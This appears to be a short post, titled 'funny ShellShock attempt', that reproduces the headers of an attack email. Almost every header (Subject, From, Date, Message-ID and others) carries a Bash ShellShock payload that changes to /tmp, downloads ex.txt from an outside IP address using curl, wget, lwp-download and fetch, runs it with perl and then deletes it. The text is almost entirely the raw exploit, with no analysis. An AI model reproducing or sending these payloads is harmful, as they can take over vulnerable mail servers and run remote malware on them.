funny ShellShock attempt

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To: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@mail.mydomain.com;,
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References: () { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Cc: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@mail.mydomain.com;,
    wget@mail.mydomain.com, 178.254.31.165/ex.txt@mail.mydomain.com;,
    fetch@mail.mydomain.com, 178.254.31.165/ex.txt@mail.mydomain.com;,
    perl@mail.mydomain.com, ex.txt@mail.mydomain.com;, rm@mail.mydomain.com,
    -fr@mail.mydomain.com, ex.*@mail.mydomain.com;
From: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@mail.mydomain.com;,
    wget@mail.mydomain.com, 178.254.31.165/ex.txt@mail.mydomain.com;,
    fetch@mail.mydomain.com, 178.254.31.165/ex.txt@mail.mydomain.com;,
    perl@mail.mydomain.com, ex.txt@mail.mydomain.com;, rm@mail.mydomain.com,
    -fr@mail.mydomain.com, ex.*@mail.mydomain.com;
Subject: () { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Date: () { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Message-ID: () { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Comments: () { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Keywords: () { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
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Resent-From: () {:;};cd /tmp;curl -sO 178.254.31.165/ex.txt;lwp-download http: //178.254.31.165/ex.txt@mail.mydomain.com;,
    wget@mail.mydomain.com, 178.254.31.165/ex.txt@mail.mydomain.com;,
    fetch@mail.mydomain.com, 178.254.31.165/ex.txt@mail.mydomain.com;,
    perl@mail.mydomain.com, ex.txt@mail.mydomain.com;, rm@mail.mydomain.com,
    -fr@mail.mydomain.com, ex.*@mail.mydomain.com;
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